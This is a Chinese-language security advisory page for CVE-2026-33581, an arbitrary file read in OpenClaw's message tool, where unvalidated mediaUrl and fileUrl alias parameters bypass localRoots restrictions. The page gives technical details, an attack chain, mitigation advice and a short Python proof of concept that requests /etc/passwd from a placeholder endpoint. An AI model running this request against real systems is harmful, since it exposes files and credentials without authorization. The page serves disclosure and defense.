IPBUF安全漏洞报告
English
CVE-2026-33581 CVSS 6.5 中危

CVE-2026-33581 OpenClaw 任意文件读取漏洞

披露日期: 2026-03-31

漏洞信息

漏洞编号
CVE-2026-33581
漏洞类型
任意文件读取
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

任意文件读取沙箱绕过OpenClawCVE-2026-33581

漏洞概述

OpenClaw 在 2026.3.24 版本之前的消息工具组件中存在一个沙箱绕过漏洞。由于程序未能正确验证 `mediaUrl` 和 `fileUrl` 别名参数,攻击者可利用这些参数绕过 `localRoots` 限制。远程攻击者可通过发送特制的文件请求,访问预期沙箱目录之外的任意本地文件,造成敏感信息泄露风险。

技术细节

该漏洞的核心问题在于 OpenClaw 消息工具对文件路径参数的验证机制存在逻辑缺陷。系统原本设计通过 `localRoots` 配置来严格限制文件访问范围,旨在防止路径遍历攻击。然而,在处理特定的消息请求时,程序优先接收并使用了用户提供的 `mediaUrl` 或 `fileUrl` 别名参数,却跳过了对这些参数所指向最终路径的合法性校验。攻击者可以利用这一逻辑漏洞,通过构造包含路径跳转符(如 `../`)或直接使用绝对路径的恶意请求,将文件读取操作引导至沙箱目录之外。一旦验证被绕过,攻击者即可读取服务器上的任意敏感文件,如配置文件或源代码。鉴于该漏洞 CVSS 评分为 6.5 且仅需低权限即可触发,其对系统机密性构成了严重威胁。

攻击链分析

STEP 1
侦察
攻击者识别出目标系统运行的是 OpenClaw 2026.3.24 之前的版本。
STEP 2
构造请求
攻击者向消息工具接口发送特制的 HTTP 请求,其中包含恶意的 `mediaUrl` 或 `fileUrl` 参数,该参数指向沙箱目录之外的敏感文件(如 /etc/passwd)。
STEP 3
绕过验证
服务器端接收请求,由于别名参数未经过严格的 `localRoots` 边界检查,验证逻辑被绕过。
STEP 4
读取文件
服务器根据别名参数读取并返回了目标文件的内容,导致敏感信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit for CVE-2026-33581 # This script demonstrates how to bypass localRoots validation # using the 'mediaUrl' or 'fileUrl' alias parameters. target = "http://vulnerable-host:port/message_endpoint" # Malicious payload to read /etc/passwd # The alias parameter bypasses the localRoots check payload = { "type": "file_request", "mediaUrl": "/etc/passwd" # or "fileUrl" } try: r = requests.post(target, data=payload) if r.status_code == 200: print("[+] Vulnerable! File content:") print(r.text) else: print(f"[-] Request failed with status {r.status_code}") except Exception as e: print(f"[!] Error: {e}")

影响范围

OpenClaw < 2026.3.24

防御指南

临时缓解措施
建议立即升级到修复版本。在无法立即升级的情况下,应通过网络 ACL 或 WAF 拦截对消息工具接口的请求,或者严格过滤包含 `mediaUrl` 和 `fileUrl` 参数的流量,以防止漏洞被利用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表